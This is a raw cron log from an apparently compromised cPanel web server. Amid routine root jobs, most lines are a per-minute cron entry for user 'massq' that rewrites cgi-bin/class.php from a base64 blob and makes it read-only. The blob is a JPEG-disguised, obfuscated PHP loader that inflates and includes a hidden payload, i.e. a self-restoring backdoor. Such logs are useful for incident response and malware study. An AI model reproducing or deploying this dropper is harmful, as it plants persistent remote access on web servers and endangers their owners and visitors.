Nov 14 04:22:01 server CROND[10312]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:23:01 server CROND[11208]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:24:01 server CROND[12160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:25:01 server CROND[13016]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:25:01 server CROND[13018]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 04:25:01 server CROND[13015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:25:01 server CROND[13017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:26:01 server CROND[13929]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:27:01 server CROND[14669]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 04:27:01 server CROND[14670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:28:01 server CROND[15294]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:29:01 server CROND[16158]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:30:01 server CROND[17115]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 04:30:01 server CROND[17116]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Nov 14 04:30:01 server CROND[17118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:30:01 server CROND[17120]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 14 04:30:01 server CROND[17117]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:30:01 server CROND[17119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 04:31:01 server CROND[18052]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:32:01 server CROND[18907]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:33:01 server CROND[19749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:34:01 server CROND[20622]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:35:01 server CROND[21585]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 04:35:01 server CROND[21586]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 04:35:01 server CROND[21588]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
